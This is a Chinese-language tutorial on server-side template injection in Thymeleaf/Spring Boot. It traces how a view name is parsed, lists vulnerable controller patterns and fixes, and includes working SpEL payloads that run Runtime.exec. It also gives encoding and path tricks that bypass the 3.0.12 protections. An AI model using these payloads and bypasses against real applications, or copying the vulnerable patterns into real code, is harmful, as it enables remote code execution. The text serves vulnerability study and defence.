完全搞懂Thymeleaf SSTI
字数 1777 2025-08-12 11:34:02

Thymeleaf SSTI (Server-Side Template Injection) 漏洞分析与利用指南

1. Thymeleaf 简介与基本配置

Thymeleaf 是 Spring Boot 推荐的模板引擎,用于构建动态 Web 页面。

基本配置步骤

  1. 引入依赖
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
  1. 配置文件 (application.yml):
spring:
  thymeleaf:
    cache: false
    prefix: classpath:/templates/
    encoding: UTF-8
    suffix: .html
    mode: HTML
  1. 模板文件示例 (resources/templates/hello.html):
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Test</title>
</head>
<body>
    <div th:fragment="main">
        <span th:text="'hello ' + ${message}"></span>
    </div>
</body>
</html>

2. Thymeleaf 基本语法

  • ${}: 标准变量表达式
  • *{}: 选择变量表达式(需配合 th:object 使用)
  • @{..}: 链接表达式(用于 th:href
  • th:action: 资源重定向
  • th:each: 遍历

3. Thymeleaf SSTI 漏洞分析

漏洞环境搭建

  • Thymeleaf 版本: 3.0.11.RELEASE
  • Spring Boot 版本: 2.5.0 RELEASE

漏洞控制器示例

@Controller
public class ThymeleafController {
    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "world");
        return "hello";
    }
    
    @GetMapping("/cmd")
    public String eval(@RequestParam String cmd) {
        return cmd;
    }
}

漏洞触发流程

  1. 请求到达 DispatcherServlet#handle
  2. 通过 ServletInvocableHandlerMethod#invokeAndHandle 提取模板文件名
  3. ViewNameMethodReturnValueHandler#handleReturnValue 将返回值转为视图名称
  4. ThymeleafView#renderFragment 处理模板渲染
  5. 当模板名包含 :: 时,会将其用 ~{name} 包裹并传入 parseExpression
  6. StandardExpressionPreprocessor#preprocess 处理 __xxx__ 格式的字符串
  7. 执行 SPEL 表达式,导致代码执行

Payload 构造原理

Thymeleaf 在处理包含 :: 的模板名时,会将 __xxx__ 部分作为表达式执行:

__${SPEL表达式}__::任意后缀

示例 Payload

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh

4. 不同版本的差异与绕过技巧

Thymeleaf 3.0.12.RELEASE 的变化

  1. 新增限制

    • 禁止使用 new 创建对象
    • 禁止使用 T() 调用静态方法
    • 通过 SpringStandardExpressionUtils#containsSpELInstantiationOrStatic 进行检查
  2. 绕过方法

    • T( 之间插入特殊字符:%20, %0a, %09, %0d, %00
    • 示例:
      __${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
      

版本差异二:路径检查

  1. 新增限制

    • 检查视图名是否与请求路径或参数一致
    • 通过 SpringRequestUtils#checkViewNameNotInRequest 实现
  2. 绕过方法

    • 使用矩阵变量(分号):
      ;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
      
    • 修改路径结构:
      //__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
      

高级绕过技巧

  1. 利用 SPEL 解析特性

    • 在标识符中插入特殊字符:%00, %0a, %0d, %09, %20
    • 示例:
      __${T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
      
  2. 省略全类名

    • 利用 StandardTypeLocator 自动补全 java.lang
    • 示例:
      __${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
      

5. 漏洞利用场景

不安全代码模式

  1. 直接返回参数
@GetMapping("/path")
public String path(@RequestParam String lang) {
    return lang; // 直接返回用户输入
}
  1. 路径拼接
@GetMapping("/admin")
public String path(@RequestParam String lang) {
    return "en/test/" + lang;
}
  1. RESTful 风格
@GetMapping("/home/{page}")
public String getHome(@PathVariable String page) {
    return "home/" + page;
}
  1. 片段注入
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section;
}
  1. 无返回值方法
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    // 使用请求路径作为视图名
}

Payload: GET /doc/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x

6. 修复方案

  1. 使用 @ResponseBody
@GetMapping("/safe/path")
@ResponseBody
public String safePath(@RequestParam String lang) {
    return lang; // 不进行模板解析
}
  1. 重定向
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; // 使用 RedirectView
}
  1. 直接使用 HttpServletResponse
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    // 直接处理响应
}
  1. 升级到安全版本
    • 使用 Thymeleaf 3.0.12.RELEASE 或更高版本
    • 注意仍需避免直接返回用户输入作为视图名

7. 总结

Thymeleaf SSTI 漏洞主要发生在以下情况:

  1. 用户输入直接作为视图名返回
  2. 用户输入拼接到视图路径中
  3. 无返回值方法使用请求路径作为视图名

关键点:

  • 漏洞利用依赖于 __${SPEL}__::x 格式的视图名
  • 不同版本有不同的防护措施和绕过方法
  • 修复核心是避免用户输入影响视图解析过程

通过理解 Thymeleaf 的模板解析机制和 Spring 的请求处理流程,可以更好地防御此类漏洞。

Thymeleaf SSTI (Server-Side Template Injection) 漏洞分析与利用指南 1. Thymeleaf 简介与基本配置 Thymeleaf 是 Spring Boot 推荐的模板引擎,用于构建动态 Web 页面。 基本配置步骤 引入依赖 : 配置文件 (application.yml): 模板文件示例 (resources/templates/hello.html): 2. Thymeleaf 基本语法 ${} : 标准变量表达式 *{} : 选择变量表达式(需配合 th:object 使用) @{..} : 链接表达式(用于 th:href ) th:action : 资源重定向 th:each : 遍历 3. Thymeleaf SSTI 漏洞分析 漏洞环境搭建 Thymeleaf 版本: 3.0.11.RELEASE Spring Boot 版本: 2.5.0 RELEASE 漏洞控制器示例 : 漏洞触发流程 请求到达 DispatcherServlet#handle 通过 ServletInvocableHandlerMethod#invokeAndHandle 提取模板文件名 ViewNameMethodReturnValueHandler#handleReturnValue 将返回值转为视图名称 ThymeleafView#renderFragment 处理模板渲染 当模板名包含 :: 时,会将其用 ~{name} 包裹并传入 parseExpression StandardExpressionPreprocessor#preprocess 处理 __xxx__ 格式的字符串 执行 SPEL 表达式,导致代码执行 Payload 构造原理 Thymeleaf 在处理包含 :: 的模板名时,会将 __xxx__ 部分作为表达式执行: 示例 Payload : 4. 不同版本的差异与绕过技巧 Thymeleaf 3.0.12.RELEASE 的变化 新增限制 : 禁止使用 new 创建对象 禁止使用 T() 调用静态方法 通过 SpringStandardExpressionUtils#containsSpELInstantiationOrStatic 进行检查 绕过方法 : 在 T 和 ( 之间插入特殊字符: %20 , %0a , %09 , %0d , %00 示例: 版本差异二:路径检查 新增限制 : 检查视图名是否与请求路径或参数一致 通过 SpringRequestUtils#checkViewNameNotInRequest 实现 绕过方法 : 使用矩阵变量(分号): 修改路径结构: 高级绕过技巧 利用 SPEL 解析特性 : 在标识符中插入特殊字符: %00 , %0a , %0d , %09 , %20 示例: 省略全类名 : 利用 StandardTypeLocator 自动补全 java.lang 包 示例: 5. 漏洞利用场景 不安全代码模式 直接返回参数 : 路径拼接 : RESTful 风格 : 片段注入 : 无返回值方法 : Payload: GET /doc/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x 6. 修复方案 使用 @ResponseBody : 重定向 : 直接使用 HttpServletResponse : 升级到安全版本 : 使用 Thymeleaf 3.0.12.RELEASE 或更高版本 注意仍需避免直接返回用户输入作为视图名 7. 总结 Thymeleaf SSTI 漏洞主要发生在以下情况: 用户输入直接作为视图名返回 用户输入拼接到视图路径中 无返回值方法使用请求路径作为视图名 关键点: 漏洞利用依赖于 __${SPEL}__::x 格式的视图名 不同版本有不同的防护措施和绕过方法 修复核心是避免用户输入影响视图解析过程 通过理解 Thymeleaf 的模板解析机制和 Spring 的请求处理流程,可以更好地防御此类漏洞。